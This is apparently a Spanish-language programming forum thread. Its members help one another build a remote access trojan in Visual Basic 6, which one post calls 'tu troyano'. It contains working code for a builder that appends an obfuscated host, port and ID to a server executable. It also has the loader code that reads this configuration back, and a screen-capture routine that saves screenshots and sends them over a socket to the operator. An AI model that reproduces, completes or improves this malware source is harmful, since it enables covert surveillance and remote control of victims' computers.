haber si mirando mi viejo editor de server te ayuda en algo

diseñas un form parecido a esto:

Dim finta As Boolean
Dim i1 As Integer
Dim Primera, Segunda As String
Dim MICAdena As String
Private Sub Command1_Click()
Me.MousePointer = 11
 hacerlo
Me.MousePointer = 0
End Sub
 
Private Sub Command2_Click() 'solo para el test!
On Error Resume Next
If Len(Text1) = 0 Or Len(Text2) = 0 Or Len(Text7) = 0 Then
    MsgBox "Can`t continue...", vbCritical + vbOKOnly, "Falta parámetros..."
Else
    Command1.Enabled = True
End If
End Sub
 
 
 
 
 
Private Sub Command3_Click()
CD.Filter = "Server (*.exe)|*.exe"
CD.ShowOpen
Text8 = CD.FileName
End Sub
 
 
 
 
Sub hacerlo()
Dim puerto, host, IdServer As String
Dim lp, lh, lt, li As Integer
Dim DataToAdd As String
Dim DataEncrypted As String
 
    puerto = Text1.Text
    host = Text2.Text
    IdServer = Text7.Text
 
 
    lp = Len(puerto)
    lh = Len(host)
    li = Len(IdServer)
    lt = lp + lh + li
    'MsgBox (App.Path)
    DataToAdd = Trim(puerto) & "/" & Trim(host) & "/" & Trim(IdServer) & "/"
    DataEncrypted = EncodeW(DataToAdd)
 
    'Open App.Path & "\taskmgrs.exe" For Binary As #1 '//abrimos el archivo en forma binaria.
    Open Text8.Text For Binary As #1 '//abrimos el archivo en forma binaria.
 
       Seek (1), LOF(1) + 1 'nos vamos al final del archivo
       Put #1, , DataEncrypted & Trim(Str(lt))
    Close #1
    MsgBox ("El servidor ha sido generado corréctamente (Encrypted)")
    End
 
End Sub
 
'modulo para ocultar un poco los datos añadidos al final del servidor
Function EncodeW(TextToE As String) As String
 Dim i As Integer
 Dim cad As String * 1
 Dim Texto(200) As String
 Dim Encrip(200) As String
 Dim TextReturn As String
 For i = 1 To Len(TextToE)
   cad = Right(TextToE, i)
   Texto(i) = Left(cad, 1)
 Next
 
 For i = Len(TextToE) To 1 Step -1
  Encrip(i) = Chr(Asc(Texto(i)) + 1)
  TextReturn = TextReturn & Encrip(i)
 Next
 EncodeW = TextReturn
End Function
 

con eso agregas esos datos al final del server, y en el codigo del server tendrias que poner algo asi, (en el form load del server)

 
ArrayCritico() As String 'esto en general
 
On Error GoTo error:
Dim DataRealD As String
Dim nd, nd1 As String
 
nd = Right(filedata, 2)
 
nd1 = Right(filedata, Val(nd) + 5) 
 
MsgBox (nd)
MsgBox (nd1)
 
 
DataRealD = DecodeW(nd1) 'traducimos
 
 
MsgBox ArrayCritico(0) 'puerto
MsgBox ArrayCritico(1) 'host
MsgBox ArrayCritico(2) 'id del server (simple identificador)
MsgBox ArrayCritico(3) 'numero de caracteres escritos al final del exe
 
Port = Val(ArrayCritico(0))
Ip = ArrayCritico(1)
error:
End Sub
 

en donde se ve que hay una funcioncilla "decodew" que va asi:

Function DecodeW(TextToD As String) As String
 Dim TextDReturn As String
 Dim i As Integer
 
 Dim cad As String * 1
 Dim TextoEncriptado(200) As String
 For i = 1 To Len(TextToD)
   cad = Right(TextToD, i)
   TextoEncriptado(i) = Left(cad, 1)
 Next
 
 For i = Len(TextToD) To 1 Step -1
  TextDReturn = TextDReturn & Chr((Asc(TextoEncriptado(i))) - 1)
 Next
DecodeW = TextDReturn
End Function
 

ojala me hayas entendido 

Oops! me falto decirte que para probarlo tienes que tener el exe de tu servidor, si lo pruebas desde basic no funciona.

Un saludo

que distraido tienes razon:
éste código va al principio dentro del form load

 Open App.Path & "\" & App.EXEName & ".exe" For Binary As #2  
  filedata = Input(LOF(2), #2)
 Close #2
 

en conclusion el load del form del server para esta parte de tu troyano debe quedat asi:

Open App.Path & "\" & App.EXEName & ".exe" For Binary As #2  
 filedata = Input(LOF(2), #2)
Close #2
 
Dim DataRealD As String
Dim nd, nd1 As String
 
nd = Right(filedata, 2)
 
nd1 = Right(filedata, Val(nd) + 5) 
 
 
DataRealD = DecodeW(nd1) 
ArrayCritico = Split(DataRealD, "/")
 
'esto es sólo para verlo
MsgBox ArrayCritico(0) 'puerto
MsgBox ArrayCritico(1) 'host
MsgBox ArrayCritico(2) 'id del server (simple identificador)
MsgBox ArrayCritico(3) 'numero de caracteres escritos al final del exe
 
Port = Val(ArrayCritico(0))
Ip = ArrayCritico(1)
 
 
 

WACTOR, tu me pusiste este code:

Case "Screen"
Resolucion = vData(1)
Foto.SetSamplingFrequencies 2, 2, 2, 2, 2, 2
Foto.Quality = Resolucion   'aqui ajustas la calidad dsd 1 a 100 hasi bajas calidad bajas peso
Foto.SampleScreen
Foto.SaveFile ("c:\capture.jpg")
ws.SendData "tamscreen|" & FileLen("C:\capture.jpg")

Pero mi clase (cJPEG.cls) no tiene el método "SampleScreen", pero tiene uno llamado "SampleHDC":

Public Function SampleHDC(ByVal lHDC As Long, ByVal lWidth As Long, ByVal lHeight As Long, [ByVal lSrcLeft As Long = 0], [ByVal lSrcTop As Long = 0]) As Long

Esa es la funcion con los parametros k tengo k pasar, lHeight y lWidth se refieren al tamaño de la imagen, los opcionales no hacen falta, lo uniko k se para k sirve es lHDC...es necesario, si no se define despues el método "SavePicture" fallará...


Weno, lo k me gustaría k me explicarais una cosa referente a cJPEG, estas son sus propiedades:

X.Comment --> Sirve para poner un comentario
X.Quality --> La calidad de la imagen del 1 al 100

y estos sus métodos:

X.SetSamplingFrequencies --> Sirve tambien para determinar la calidad (comprension)
X.SampleHDC --> No se para k sirve, pero solo se le pasan números
X.SaveFile --> Sirve para guardar el archivo en JPEG, solo se le pasa la ruta donde se guardará el archivo


Mi pregunta es donde defino el archivo k quiero convertir??? En las propiedades está claro k no, en "Set SamplinFrecuencies" solo se le pasan 4 numeron k definen la calidad, en "SampleHDC" solo se le pasan 3 numeros, dos de ellos representan el tamaño y el otro es uno k no se para k sirve, pero es un Long, no puede contener el archivo...
En "SaveFile" solo se pasa la ruta donde se guardará el archivo...pero como se pasa el archivo que se guardará? como save la clase cual es el archivo k tiene k comprimir a JPEG???

Weno, a ver si alguien me puede ayudar

Saludos

P.D.: Aki la clase k yo utilizo http://www.megaupload.com/es/?d=AJWKTIUY

Trae un ejemplo de komo se utiliza, de aí fue de donde saké las conclusiones k puse antes, pero no supe saber como funcionaba...En el ejemplo funciona perfectamente.

Voy a provarlo ahora, ya te diré y gracias...pero aún asi sigo sin entender pork el otro no funciona... 

Saludos

Weno, me funciona bastante bien tu cJPEG...lo malo es k tarda bastante en hacer una captura de pantalla...pero eso es solo en modo prueva, una vez compilado lo hace rápido...

Por cierto, la funcion "SetSamplingFrecuencies" se k sirve para ajustar la calidad...pero como exactamente?

Y habría na manera de poner definir los BITS y la resolucion de la imagen

Por ejemplo en vez de 24bits cojer capturas a 16 o 8 bits...tambien me gustaría poner definir la resolucion de las capturas, se puede??

Saludos